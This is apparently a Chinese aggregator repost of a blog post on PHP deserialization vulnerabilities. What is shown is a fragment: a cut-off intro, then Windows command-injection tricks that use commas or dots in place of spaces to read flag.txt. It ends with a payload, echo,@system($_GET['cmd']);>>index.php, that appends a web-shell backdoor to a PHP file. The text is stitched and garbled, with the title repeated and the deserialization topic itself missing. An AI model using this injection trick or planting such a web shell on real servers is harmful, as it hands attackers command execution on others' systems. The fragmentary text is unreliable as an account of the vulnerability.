PHP反序列化漏洞简介及相关技巧小结

发布时间：2019-08-12 10:06:03 所属栏目：建站来源：xiaopan233

导读：副标题#e# 要学习PHP反序列漏洞，先了解下PHP序列化和反序列化是什么东西。 php程序为了保存和转储对象，提供了序列化的方法，php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串，但仅保留对象里的成员变量，不保留

windows环境下的话时我突发奇想随便试出来的。适用性不是很广，也就type这个命令能用用。。

type.flag.txt  
type,flag.txt  
echo,123456

PHP反序列化漏洞简介及相关技巧小结

echo的话这个如果脑洞大点可以通过echo >>的方式将一句话追加到php文件末尾，达到getShell的目的。不过这样子如果该php文件很规范的用了?>结尾就莫得，如果没有那么规范，没用?>结尾就可以成功。

示例：

echo,@system($_GET['cmd']);>>index.php

PHP反序列化漏洞简介及相关技巧小结

然后就可以通过新的后门来getshell了。

（编辑：西安站长网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!